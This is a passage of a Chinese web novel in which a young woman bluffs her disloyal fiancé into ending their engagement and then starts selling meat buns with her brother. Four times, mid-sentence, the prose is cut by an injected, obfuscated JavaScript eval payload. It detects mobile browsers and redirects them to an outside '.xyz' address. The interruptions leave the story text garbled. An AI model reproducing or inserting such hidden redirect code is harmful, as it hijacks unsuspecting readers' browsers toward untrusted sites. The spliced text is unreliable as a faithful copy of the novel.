“娘！”白亦宗制止了白寡妇，又回头看着薛慧，换了一副温柔语气，“三妹妹，我自然知道你是好的，只是那山匪曾说过要将你也弄上山去压寨的话，还流传了出来，实在是不好听得很，我也是没有法子啊！你知道，我是要读书进学的，若是原配嫡妻名节有瑕，着实是不成，你能明白吗？” 薛慧低头翻了个白眼儿。 果然，这人明明就是嫌弃薛家了才来退亲，可是刚才看见自己，不知怎么居然又动了色心，不知道打什么龌龊主意，真让人做呕。 陈里正听着不妥，便说话了：“白秀才，这山匪说的话怎么能作数呢？就算你们读书人看重名声，这也太捕风捉影了。薛家这丫头向来是个正派规矩的，旁的我也不清楚，可这品行名声，绝对没有毛病！” 白亦宗点点头，并不反驳：“您说得是，所以我们不是来退亲的。” “儿子！你可不能犯糊涂！”白寡妇大急。 薛克礼这才冷淡的说：“行了，白秀才，你到底想要干什么，直说吧，别绕圈子了。” 白亦宗又含情脉脉的看着薛慧：“三妹妹，如今你家遭到这般变故，你往后的日子也是艰难，不如这样，咱们把婚约废了，我重新给你写一份纳妾文书，你就跟我回去吧，我家至少能保你衣食无忧，不必这般受苦。” 我去！方才隐隐约约的预感居然成真了！ 薛慧差点笑出来。 “欺人太甚！”薛克礼怒吼一声，就要去打白亦宗。 薛慧连忙上前一步，和刘义一起拉住他：“二哥稍安勿躁，他做梦呢！别理他，陈叔还在呢！” 陈里正也拉下了脸。别说他跟薛老爷有几分交情，心里本就有些偏向薛家兄妹，便是没有这层关系，白亦宗的这番话也着实无耻。 “儿子！咱们在家里可不是这么说的啊！你怎么变卦了呢？没娶正妻，家里头先有个妾，还是头前的未婚妻变的妾，你以后怎么说高门贵女？”白寡妇也变了脸色，急忙拉着白亦宗的袖子，压低了声音说。 “娘，无妨的，我自有主张。”白亦宗微笑了一下。 窝棚地方小，他们母子虽是压低了声音，可是在场的人都听得到。薛克礼直接跟陈里正道：“陈叔，如今我家我是家主，我妹妹的终身大事我能做得了主，这亲事我们退了！至于让我妹妹做妾，下辈子都不可能！烦劳您做个见证。” 白亦宗听见了，并不在意，继续摆出一副清风朗月的样子，说：“薛兄，你固然可以做主，可也该尊重三妹妹的意思。” 薛慧抬手抽出发间的银簪，皮笑肉不笑的说：“白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521467|170737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀才，请注意你的称呼，烦劳你叫我一声‘薛姑娘’，我哥哥在这儿呢，可不是你。做妾的话就不要提了，想来是天色已晚，你困了。对了，我手里这根簪子原是你母亲在下小定时给我的，如今自然是要物归原主，不过，你的退亲文书得按我说的来写。” “哟嗬，看把你个贱丫头能耐的！”白寡妇嘴一撇，又开始嘲讽。 “我要是你，就把嘴巴闭紧。”薛慧收了假笑，冷冷的瞥了她一眼，“你若是稍微动动脑子，就应该看得出来，我现在很镇定，你难道不该猜一猜，我是不是拿住了你们的什么把柄吗？” 白寡妇果然闭上了嘴。虽然脸上全是不以为然，可到底还是有了几分忌惮。 白亦宗却不信，反而饶有兴趣的问：“三妹妹，你倒是说说，你拿住了我们的什么把柄？若是当真退亲，你想让我怎么写啊？” 他越说声音越轻，竟是当着一屋子人的面，开始调起情来。 恶心我是吧，好，互相伤害吧！薛慧心中冷笑，清了清嗓子，开始用夹子音表演：“白郎，你到底心里有没有人家啊？一时见不到你，我就心慌得厉害，你怎么忍心三日不来看看我的？” 在场所有的人都变了脸色。有人惊讶，有人皱眉，有人惊慌。 薛慧只当看不见，继续表演：“你瞧，你写给我的诗，我当宝贝一样的收着，贴身放着呢！” “你不是说，只要你娶了那个乡下土财主家的村姑进门，收了她的嫁妆，你就迎我进门吗？那你什么时候成亲？我这几日有些不大爽利，也不知是不是有了，我命苦，孩儿只能是个庶子，我也认了，可是你别让他当了外室子呀！” 她捏着嗓子，把记忆中的这些话说完，便闭上了嘴。说实在的，这样扭扭捏捏的说话真的很累人。 白亦宗脸色大变。 薛克礼看着他，什么都明白了。他回头问薛慧：“三娘，你可是知道了些什么？” 薛慧点头：“当日，爹爹和你出了事，娘带着我到处筹银子，也是去过白家的，可是白……白太太一文都没借，哭了一通穷就把我们打发了出来。走到巷子口的时候，我跟娘正好看见了白秀才，他跟一个姑娘抱在一起说话，没瞧见我们。娘说那个姑娘不是好人家的，让我就当没看见呢。” 薛克礼冷笑一声：“好一个白秀才！自己做了下作事，竟还往我妹妹身上泼脏水！我只当你们是落井下石，嫌贫爱富，嫌弃我家败落了，没想到更加肮脏龌龊！” 白寡妇死死盯着白亦宗的脸：“当真有这样的事儿？” 白亦宗连忙否认：“没有的事儿，谁知道她这是想干什么，估计是知道咱们要退亲，故意编排的吧。” 薛慧从腰间的荷包里取出一张纸，微笑着说：“巧了，那个姑娘也是粗心得很，明明是宝贝得不行、贴身放着的诗文，也不知怎么就掉在了地上，我就捡了起来。那字迹好像跟婚书上的一样呢，二哥，要不你跟刘四哥改天去县城请教请教县学里的夫子，这诗写得如何？” 5. 他不敢赌 白亦宗脸上的含情脉脉一下子碎成了渣渣。他死死的盯着薛慧手里的那张纸，眼皮不停地颤动，声音也冰冷了起来：“我怎知你是不是在撒谎？” 薛慧把那张纸塞回荷包里，一边系着荷包口处的绳结，一边踱到薛克礼和刘义的身后，等确定他们能挡住自己了才慢条斯理的说：“你可以不相信啊，说不定我手里的只是一张白纸，就是唬你的。” 薛克礼冷笑了一声：“怎么，白亦宗，你莫不是想动手抢夺？今天有我们兄弟在，你绝不可能靠近我妹妹半步！我若没记错的话，你爹的孝期还有两个月才满吧？孝期狎妓，还有了子嗣，你可是读书进学的人，名节有瑕，着实是不成呢。” 白亦宗的原话还热乎着呢，回旋镖就扎回了自己身上。薛慧十分欣慰，关键时刻不掉链子，这个哥哥能处！ “胡说八道！我撕了你个小贱人的嘴！”白寡妇一听着事情严重，立刻就急了，冲过来就要撕打薛慧。 白亦宗脸色铁青，方才那有几分做作的书生气荡然无存，却还保留着几分理智，连忙扯住了母亲的胳膊，低声喝道：“娘！你别添乱！” 薛慧并没有欣赏他们这副嘴脸的恶趣味，瞧见陈里正一副尴尬又厌烦、恨不得赶紧完事儿的样子，她也不抻着，直截了当的说：“白秀才，这件事儿到底是不是真的，对你的前程影响有多大，不用我说，你心里也有数，但是于我而言，根本就没有任何意义。你我的婚约一退，我与此事就再无任何干系，我会烧掉这张纸，绝不会向他人提起，毕竟你一个有功名在身的人，日后还要为官做宰的，我也得罪不起。” “你能保证日后不会有任何流言蜚语吗？”白亦宗对薛慧再也生不起旖旎心思，而是有几分恶狠狠的质问。 薛慧丝毫不惧：“我不能啊。你们行事，我瞧着也不算周密，说不得知情的人不少，比如那姑娘自己啊，和她的、呃、养娘侍女什么的，还有你书院的同窗，街头巷尾认得你的熟人，多了去了。若是他们中的谁传了出去，那可与我没有关系！我只能保证，从我们薛家这头不会传出去，毕竟退亲明面上的原因是我要守孝不能出嫁，实际上的缘由是我家败落了，配不上你，这样很合理不是吗？” 和孝期狎妓生子相比，嫌贫爱富落井下石虽然不太好听，可是不触犯律法条规，而且还可以让老娘去担下这个恶名，对自己的影响确实能降低到最低，白亦宗一瞬间就算计好了得失，便道：“罢了，如你所说便是。不过……” 看他真的伸手从白寡妇挎着的包袱里拿笔纸写退婚文书，薛慧放下了一半的心，痛快道：“放心，文书到手，我当着你的面烧掉这张纸便是。” 白亦宗也顾不得挑剔条件，回到他们的牛车上，飞快的写下了解除婚约的文书，签字画押之后拿出了他手里的那一份婚书。 薛慧回到床边，翻出自己的那份婚书，交给薛克礼。 薛克礼认真看完文书，见白亦宗写的解除婚约的缘由是命格不合、有损祖荫，比自己跟钟家退亲时候的说辞还要婉转，便点了点头，签了名，还印上了他的名章，一边签一边讽刺了一句：“白秀才文采斐然，写这种东西倒是屈才了。” 陈里正和媒婆也陆续签名、按了手印，交还给薛克礼。 两份婚书被丢进了小泥炉，薛三娘和白亦宗的婚约正式解除了。 薛慧把手里的银簪扔给白寡妇，然后走到小炉子旁边，从荷包里抽出那张纸，丢了进去。 红色的火苗腾起，接着就把那张白纸完全吞噬了。 白亦宗死死的盯着那张纸，直到整张纸彻底化成了灰，才神色复杂的问薛慧：“那张纸根本就不是我的诗，对不对？” 薛慧朝天翻个白眼，走回薛克礼身后：“贵脚踏贱地，想必你们都挺不舒服的，不送了，事情办完，你们可以走了。” 心想事成了，可白寡妇一点儿也不高兴，一手攥着那支银簪，一手扶着车辕就爬到了牛车上，招呼儿子快走：“快不要理会这破落户了，咱们回去！你好生读书，考上了状元，什么官家大小姐娶不得？” 白亦宗还在等薛慧的回答。 薛慧连一个眼神都懒得再给他，手搭在腰间，十分认真的给陈里正行了一礼：“多谢陈叔维护我的名声，给我做主。” 陈里正摆摆手就要走：“别谢啦，我也不光是为你。咱们村里这么多闺女呢，还有出了门子的那些，让外头人编排了名节，那还得了？你也别多想，等你爹娘的孝满了，让你哥给你做主，再找个好人家就是，反正你年纪也还不算老大。往后有事儿你就叫你哥找我，或者你去找你婶子也行，今儿我就不多待了，还有事哩。” 刘义连忙跟上：“叔，薛二哥这腿不方便，我送送您。” 走到白亦宗身边的时候，他沉下脸来赶人：“你还不走？” 薛慧早就转身躲到薛克礼身后去了。 白亦宗不知道在想什么，对于刘义这个“粗人”的驱赶也没表现出不满，安静的转身上了牛车，母子俩和媒人的身影很快就走远了。 窝棚里只剩下了薛慧兄妹两个。 薛克礼坐下来，问薛慧：“你烧的，当真是那姓白的写的诗？” 薛慧摇头：“当然不是了。我能撞破他的丑事已经是凑巧了，哪能那么巧，真让我捡到物证啊？我估计白亦宗也心里有数。” “他不敢赌。”薛克礼到底是做了好几年生意的人，很容易就明白了，“他不过是要你一个闭嘴的保证罢了。” 薛慧笑笑，拿了个盆子去洗菘菜，一边洗一边说：“无所谓，我本来也懒得传这种口舌，换一个痛快的退亲，咱们不亏。” “三娘，你长大了。这些年我不大在家，竟是没留意，你早就不是小孩儿了。唉，我跟爹出了事，你跟娘不知道受了多少煎熬吧？”薛克礼感慨着，就想起了惨死的父亲和刚团聚就猝然离世的母亲，又红了眼眶。 薛慧叹口气，没有劝他，而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521468|170737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是给他时间难过：“哥，我长大了，不用你强撑着保护。你心里难过，想哭就哭，想骂人就骂人吧，别憋在心里。” 薛克礼低下头，双手捂住了脸。 薛慧走到外头，蹲在小炉子边切豆腐和菘菜，然后倒了些油来炒，故意弄出了些声响，让他不必因为环境的过于安静而压抑自己。 刘义回来的时候，她的一盆菜也好了。 薛克礼的鼻音很重，但是语气已经轻松了不少：“回来了？快吃饭吧，三娘不是说有话要跟咱们说嘛，赶紧吃了好说话。” 刘义有点儿狐疑的看薛慧。 薛慧轻轻摇头，让他先别问，不过心里却是感叹，也就是十分钟左右的时间，薛克礼居然这么快就能调整好情绪，果然古人早熟，心思都不简单。 果然，吃饭的时候，薛克礼一改之前的状态，吃了两个大馒头和一大碗菜，看上去真的振作了起来。刘义很高兴：“二哥，你就得这样才好，多吃饭身子才能好起来。” “你们俩都比我小，倒叫你们担心，是我的不是，往后我一定会振作，放心吧。”薛克礼勉力笑了笑。 收拾了碗筷，趁着天色还不黑，三个人便围着桌子说话。窝棚也有窝棚的好处，广阔的田地里只有他们三个，说什么话都不怕别人听到。 薛慧便说起了心中的疑惑：“二哥，刘四哥，在出事之前，你们在外头可遇到过什么特别的事儿吗？比如有人踩点儿什么的？” 刘义和薛克礼面面相觑，都摇头。刘义说：“咱们镇上没多少外来人，来来回回的都是熟脸儿，没有什么特别的啊。” “咱家是比乡下的农户们富裕些，可也有限，不说县里的大户，便是镇上的几家乡老，还有那几个大铺子的东家，都比咱家富裕吧？山匪想抢银子，怎么就瞄上了咱家呢？”薛慧沉思着说，“偏偏二哥去钟家下聘之后就出了事儿。” “对了，咱家镇上米铺的买家也是钟家，我今天去镇上看见了。”刘义忽然说道。 他一边说，脸色也不好看起来：“明明他直接来买宅子铺子，那种情况下，薛婶子也不可能不卖给他，他为啥藏头露尾的呢？” 薛慧不敢乱说话，只道：“如今咱们没凭没据的，也不能下定论，反正钟家颇有可疑，咱们往后要提防着些。” 薛克礼眯起了眼睛：“其实我也疑心过。那天我们在钟家吃的酒特别醇，格外醉人，所以我跟爹，还有跟着一起去的两个长工，在回去的路上都觉得手软脚软的，一点儿力气也使不上。山匪来的时候，几下子就把两个长工放倒了，扔在路边也不怕他们回去找人。而且这事儿到今日来看，除了山匪们拿了银子，得到好处的只有钟家。” 刘义忽然咳嗽了一声。 “你有话就说，怎么的了？”薛克礼扭头看他，“素来你也不是这样的性子。” 刘义咬咬牙，说：“我今日听两个闲汉说，钟家小姐可能要许给唐县丞家的三少爷了。” 6. 得抓紧时间赚钱 “唐县丞也是官儿吧，他家能跟钟家联姻？”薛慧问。 薛克礼似乎对钟家小姐并没有什么特别的感情，也许退亲这一遭对他的伤害过于大，反正现在他提起钟家小姐并没有什么不自在的，只不过语气非常冷淡：“唐县丞是八品小吏，不过他的三子是庶子，又是幼子，娶不到县里那些大户人家的嫡小姐，又看不上庶女，这钟家女倒是合适。不过，钟家是怎么搭上唐县丞的，倒是有意思了。” “无非是银钱开路呗。”刘义撇撇嘴，“谁不知道唐县丞家大业大啊，一个八品小官儿，能挣多少银子？傻子也能看出门道！” “要是二哥没有多想的话，钟家跟山匪就有勾结了，而如果他家又能跟唐县丞联姻，这事儿可严重得很。”薛慧皱着眉头，长长的叹了口气，“偏偏咱们现在没有证据，告官是万万不能的，只能自己万事小心了。” “是我无能，爹娘的仇竟报不了！”薛克礼恨恨的道。 薛慧又忘了自己是薛家的女儿这个事儿了，方才的分析只是基于理性，并没牵扯什么情绪，这下就有些尴尬。 刘义拍了拍薛克礼的胳膊，劝慰他：“二哥，你也别钻牛角尖。咱们如今存了这个想头，日后慢慢寻访着，说不得就能找出他们勾连的蛛丝马迹，等有了证据，咱们就去府城上告，告到知府衙门，我不信他一个县丞能一手遮天！如今你还是得保全自身，照顾好三娘才是。” 薛慧连忙附和：“是啊是啊，二哥，咱俩都退了亲，看上去更无依无靠了，可是同样的，咱俩也更能当家作主了不是吗？” 薛太太并不是本地人，而是二十多年前男方发洪水时逃荒过来的流民。当时薛老爷还未发迹，不过是个有两亩田地的乡下少年，看中了当时貌美刚强的薛太太，寻了媒人一问，立刻得到了允准，于是薛太太就被父兄半嫁半卖的嫁了过来，后来他们回了原籍，便再也没有了往来，薛慧兄妹自然也就没有外祖这门亲戚。 薛克礼叹息：“是啊，可咱们这个家该怎么当呢？对了，刘四弟，还完熊九的帐，银子可还有剩？” 刘义便从袖子里取出了一小块碎银子和一把铜钱：“这印子钱真是吃人不吐骨头，二十两才借了几日啊，就要回了二十六两半！我想着白寡妇说的那话，又自作主张，拿了几百文给熊九的手下们打酒吃，央他们日后不要提起三娘曾经去借过银子的事儿，这不，就剩下了三两银子并四十多文铜钱。” 薛克礼收了银子，赞许道：“还是你周全，这银子确实该花。” 薛慧手里一文钱也没有，便问：“二哥，你手里还有多少银钱？” 薛克礼一摊手：“就这三两银子。我身上所有的银子都被山匪们撸去了，家里头的这不也没了，我是真的身无分文。对了，三娘，我这几日一直心思恍惚着，你与我说说，咱们到底还在外头欠了多少银子？都欠了谁家的？” “熊九这笔账还掉，外头还欠着二百两呢，我说给你听听。”薛慧对债主的名单非常熟悉。原来的薛三娘第一次经历四处借钱的苦楚，把这些帐记得十分牢固，让薛慧很容易就理顺了。 “镇上跟爹爹相熟的几家东家都借钱了。药铺借了三十两，杂货铺借了二十两，肉铺借了三十两，酒楼也是三十两，就连棺材铺的单掌柜都借了二十两，娘跟布庄的王大娘也借到了三十两，另外镇上的成乡老给了二十两，对了，陈里正也借了二十两。” 薛慧一笔一笔的交代清楚，最后说：“这些人都是爹娘的朋友，借的时候都说是不急着还。不过娘说过，咱家已经到了砸锅卖铁的地步，你跟爹爹回来了咱家也没有家业了，这些人其实都没指望咱能还，就是拿出这些银子帮咱们救命救急的，可越是这样，咱们越得想法子还上。” 这确实是薛太太跟女儿说的话。对此，薛慧倒也赞成，毕竟都只是生意场上的朋友关系，人家肯借，不论多少，总归是个人情，还是还清更好。 薛克礼点点头：“咱娘教诲得是，不过眼下这般光景，咱们还是要好生商议一下，要做个什么营生才好，总是不能租地来种的，那样一辈子咱们也还不上这债。” 薛慧便说：“二哥，刘四哥，我有个想头，你们说，咱们做些小吃生意如何？我负责做，你们去卖，小本生意，摆个摊子也罢，推个手推车走街串巷也好，咱们一文钱一文钱的攒，总比种地来钱快。” 薛克礼抿着嘴，一时没有表态。 刘义却眼睛一亮，笑着说：“二哥，三娘这个想头对啊！薛婶儿的茶饭极好，从前我也吃过两回三娘做的饭，跟酒楼的大师傅比也差不到哪去了！” “哪有那么好了？”薛三娘确实是下过功夫学厨艺的，薛慧自己也挺会做饭，不过不确定能赚到多少钱，“刘四哥，咱们要找营生呢，你可莫要这么夸我。” 薛克礼这才点头：“倒是可行。你只负责做吃食，不必抛头露面，还算妥当。” 这话说得，似乎对她的厨艺水平也挺有信心的。这让薛慧更有把握了一点，不过：“那咱们去什么地方做生意呢？我好想想能做什么。” 刘义一拍手：“二哥，我瞧了个巧宗儿，你听听行不行啊。我方才在镇上听说的，熊九的大舅哥，就是叫‘铁拐李’的那个，这些日子带着几个小子，到处下乡开野场子呢。那些人你还不知道，赌起来都顾不得吃喝的，咱们要是做些包子油饼什么的拿过去，准保好卖！” “我听陈婶说什么村口耍钱的，莫不是说的他们？”薛慧忽然想起来了。 刘义点头：“可不就是他们！” 薛克礼问刘义：“真是‘铁拐李’带着人在那儿？” 刘义很肯定：“是啊，方才我回来还跟他打招呼了呢。他还问起你来着。” 薛克礼想了一下，拍板：“那就试试吧。这样，明天你去村口瞧瞧，看看他们大约有多少人，再问问他们打算在这儿开多久，问完了就赶紧回来，能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521469|170737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做的话咱就做起来。” 薛慧便道：“那我明天先赶早发上面，能做就做，不能做咱就自己吃，也浪费不了。” 薛克礼手一转，把银子交给了她：“要买菜肉什么的，你看着弄，我又不懂这个。” 薛慧没收银子，只把那四十个铜板划拉到了荷包里：“二哥，你原就是做掌柜的，自然是你拿着银子，算帐也是你的活计，我只管做饭，啊，等赚了钱，你给我分红就行啦！我拿这些买点儿肉，咱们先少做些试试。” 薛克礼犹豫了片刻，便把银子收了起来：“行，咱们不说那些虚的了，我心里有数。” 倒不是薛慧甘心当打工人，实在是术业有专攻，她对账目、理财这些是真的不擅长，不如交给专业的人来做。根据她这些天的观察和原主的记忆，薛克礼这个哥哥还是很可靠的。没看人家刘义连给多少工钱都没问就自发自觉的留在这儿帮忙吗？ 这个晚上，窝棚里的三个人都没睡好。 薛克礼虽然看上去振作了一些，但是显然不是那么容易就走出来的，躺在那里辗转反侧，许久都没能入睡。 刘义跟薛克礼睡一起，大概是因为挤，也一直在动。 薛慧听着木板那边的动静，暗下决心，得抓紧时间赚钱，离开这个窝棚，就算铺着褥子，那也是躺在枯枝干草上，这生存质量太低了，更别说还有男女有别呢，这实在不是长远办法。 天色刚亮，几个人就都起了。 大约是商量出了计划的缘故，他们虽然都面带倦容，可之前的压抑紧绷的气氛消散了不少。 吃过早饭，刘义就跑去村口打听消息了。薛慧便按照昨天的计划和面发面，等着他的消息。 一边和着面，薛慧对薛克礼说：“二哥，那三两银子，要不咱花了吧。” “你想要什么？拿去买吧。”薛克礼不问缘由就答应了，随即又苦笑，“如今咱家也就能拿出这些了，你莫不是要拿去买粮食？” 薛慧挥了挥沾满面粉的手：“不是，咱家的存粮还够吃一阵儿呢。我想着，你让刘四哥陪你去镇上或者县城的医馆好好瞧瞧腿，可别落下残疾。哎——你别说什么不用啊，什么咱家就这些银子了什么的，你的腿才是最重要的！你就是跑堂卖饭，那也得腿脚灵便吧？” 薛克礼并没说出拒绝的话。他沉默了片刻，居然同意了：“你说得是，回头我跟刘义商议一下，看看哪天去一趟。” 说话间刘义回来了。 他面带笑容，声音也比昨日高了些：“二哥，三娘，我问了，他们还来十天，来耍钱的人不少，除了跟前这几个村儿，还有好些个家远的也跟着来呢，正好到这儿就晌午了，卖吃的准行！有‘铁拐李’在，看在当年薛叔帮衬过他的份上，他手底下那帮人绝对不会为难咱们！” 得嘞！ 薛慧很高兴，抓着小荷包就往外走：“那我去找陈屠户买肉去，咱们中午就卖肉包子！” 7. 那可是开门红啦！ 既然有闲钱来赌，这些赌徒们想必不在意多花个几文钱吃饭，那么肯定得好吃为先，包子里得有肉，得香。薛慧手里没钱，不打算做多，就可着这四十文钱花，称了两斤肥瘦相间的五花肉，又好说歹说的跟陈屠户要了巴掌大的一小块猪皮。 陈屠户五大三粗的，黑红的脸上全是意外：“薛家丫头，你家不是守大孝呢？咋还买上肉了？” “不是我们吃。”薛慧解释了一句，“估摸着您也知道了，我们家现在啥都没了，外头还有好几百两银子的债呢，没得法子，想着能不能做点儿啥吃的卖卖，挣几文钱使。今儿个要是能成，赶明儿我还来您这儿买肉哈。” “你这闺女倒是比原先大方了不少，说话声音儿都高了。快发财去吧，准保让你叔给你留好肉！”陈屠户的娘子从屋里出来，听见薛慧说的话，立刻扯起大嗓门来。 他们跟里正家同族，关系似乎还不错，为人也算是直爽。薛慧笑了笑，说了句“借您的吉言”就脚步匆匆的往家赶。处关系的事儿不急于一时，她的包子要是卖得好，以后天天来买肉，越买越多，自然就熟络了。 这些日子她没少观察此地的人情世故，深觉和她从前的时代大不相同，宗族、乡邻的力量十分强大。诚然这些东西很多时候是严重的束缚，可是关键时刻，它也起到了保护自己人的作用。薛老爷在世时乐善好施，年年给村里送银子送东西，也是因为薛氏一门人丁单薄、需要其他人帮扶庇护的缘故。这样的经营还是有作用的。他们家出了事，村里人虽然因为贫穷帮不上忙，却没人落井下石、冷嘲热讽，出门遇上了也能听到几句关心的话。 如今他们兄妹二人弱势，有个安稳的生活环境还是很重要的。 薛慧想着这些，脚下生风，很快就回到了窝棚。 面已经发好，就等着调馅儿了。 她飞快的把两斤肉剁成肉末，那一小块猪皮也掺了进去，然后加了一点儿盐、花椒面儿和葱花拌匀。菘菜，也就是大白菜，是家里现成的，洗净切碎之后撒上一点儿盐杀水。等攥过两次，白菜碎不淌水了，再往里面倒一点油拌匀。 接下来就是她的独门绝窍了。 薛慧生了火，往炒锅里倒了少许油，加葱姜末炒香，把姜末捞出来，再把肉末倒进去翻炒，肉变色的时候加上一勺酱油，再来一勺黄豆酱，顿时肉香酱香交织着，香气弥散开来。 “嚯！三娘炒得可真香啊！”刘义正跟薛克礼刷洗家里的竹筐，闻着味儿就笑了，“这包子就是五文钱一个，估摸着也有人买！” “五文贵了些。”薛克礼看看薛慧做的面团，大致有了估量，“这些东西总共成本得六十来文，只不知道三娘要蒸多少个包子了。” 他们说话的时候，薛慧已经把酱肉馅儿倒在了大盆里，顺便切了两个馒头扔进锅里，吸一吸锅里的油。把白菜倒进大盆，一番搅拌之后，包子馅儿就成了。 薛慧一边揉面做剂子，一边招呼刘义和薛克礼吃馒头：“刘四哥，二哥，你们俩先吃那个馒头片儿垫垫，里头没有肉，就沾了点儿油。等会儿去卖包子正是饭时，你们怕是要挨会儿饿呢。” 薛克礼现在很配合，让吃就吃，把竹筐放下就跟刘义一起吃起馒头片儿来。 两斤肉，三斤面，一共包了三十四个包子。薛慧算了一下，每一个包子的成本接近两文钱，便问薛克礼：“二哥，你说卖三文钱一个怎么样？” 薛克礼摇摇头：“太少了。你这个包子里头虽然有菜，可是肉很实在，味道又香，多卖些也使得。不如这样，四文钱一个，十文钱三个，你觉得呢？” 比她想的还要贵，薛慧没意见。 刘义也赞成：“那些耍钱的啊，十个有八个好吃懒做，这么香的肉包子，他们肯定买！可惜就是少了点儿，再来三十个也好卖！” “这还没卖呢。”薛慧心里没底，“今天先卖了再说。” 薛克礼和刘义吃完馒头片，又等了一阵子，包子出锅了，他们便一起去了村口。 尽管腿伤未愈，薛克礼拄着棍子也跟着刘义。薛慧倒是明白他的意思，不是不放心刘义，而是得亲自去见见“铁拐李”，拉拉关系才好借着人家的场子做生意。 这些东西她就不操心了，还是专心做好饭吧。 薛慧刚炒了一盘白菜，他们俩人就拿着空篮子回来了。 “怎么样？成吗？”薛慧看他俩人都面带喜色，心中有数了，但还是开口问了一遍。 “成的！”刘义笑着看她，“你做得好吃，好几个人都是买了一个，吃了又来，直后悔没有一开始就买三个哩！” 薛克礼也说：“三十四个包子，我给了‘铁拐李’四个，剩下的三十个，有六个人是按十文钱三个买的，剩下的单卖，一共卖了一百零八文。” 薛慧算了一下，觉得这个利润率很不错了，也高兴起来：“呀，那可是开门红啦！咱们快吃饭，家里菘菜不多了，我去村里找邻居家买两颗，明天再多做一些。” 薛克礼说：“再多做几十个都使得，我看剩不下，不过也就九日的买卖，往后他们就要换地方了。” 薛慧指指墙角的粮食道：“咱们从家里带出来的粮食本是够吃一阵子的，不过要卖包子，咱们仨这阵儿就不吃馒头了，咱们吃二米饭，省下面粉都做包子用。” 薛克礼对吃的没有异议，自然点头。 刘义更不会挑剔，只是问：“我吃得也不少，我瞧着这些粮食也不多了，是不是得去买上一些？” 他说着，话音就变轻了。镇上的粮铺原本可是薛家的，现在却姓了钟…… 薛克礼脸上的淡笑一下子就消失了。 薛慧困惑了一瞬间也明白了，连忙说：“我一边包着包子的时候就在想啊，这个买卖成不成的，都不是长久之计，咱们还是得走出去，你们说，咱们去县城怎么样？那里毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521470|170737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方大，人也多，咱们做个小买卖也做得着。” “这……”薛克礼有些犹豫。 “这不还有几日嘛，你们慢慢合计就是。有三娘这个手艺在，真要是去了县城，应该也能过得。”刘义说，“三娘，你给我几文钱，我去给你买菘菜去。” 薛克礼把一百零八文钱全给了薛慧，让她看着安排。她便数了八文钱给刘义，让他去村里随便找谁家买白菜。她自己则又跑了一趟陈屠户家，称了五斤肥瘦相间的五花肉。 陈屠户一次就收了一百文，也挺高兴，又切了二两重的一块儿瘦肉给她。 从村里经过的时候，薛慧大老远就看见刘义跟陈敬修站在一起，似乎在争执着什么。 她只觉得牙疼，便想绕道，却被陈敬修眼尖瞧见了：“薛三娘，你去买肉了？” 没躲开，薛慧只能迎上去，走到刘义身后跟陈敬修打招呼：“嗯，是。” 陈敬修把手中的瓷碗端给她：“这个你拿回去，跟你哥吃了补补身子。” 是一大碗煮鸡蛋，打眼一看，有七八个。 薛慧叹口气，拒绝：“多谢你的好意，我家里还有呢，从老宅里带出来的，这些你留着吧，你家人口多。” “瞧见了吧？你觉得你是好意呢，这碗鸡蛋要是真去了薛家，你就是害了她！”刘义瞪着陈敬修，“快回去吧，别让你爹娘看见了。” “这点小事儿，刘四哥，你能不能别跟我哥说？他已经够心烦了。”路上，薛慧跟刘义打着商量。 刘义点头：“放心吧，我晓得。我看你也瞧出来了，敬修对你有心思，你呢？可有什么想头？” “我能有什么想头？得给我爹娘守三年孝嘞！再说，我有哥哥替我做主呢，哪里就轮到他自家瞎琢磨了？他爹娘可看不上我。”薛慧把薛克礼拉出来挡着。 刘义沉默着点头。 刚来到这个世界，首要问题是怎么活下去，可不是跟个古人谈恋爱，薛慧心里想。 现在晚上天气很凉，薛慧把肉放在外头保鲜完全没问题。第二天一大早，天光刚放亮，她就开始忙活了。 忙了一个上午，薛慧蒸出了九十个白菜猪肉包子。她还没休息过来，薛克礼和刘义就带着空篮子和三百三十文钱回来了。 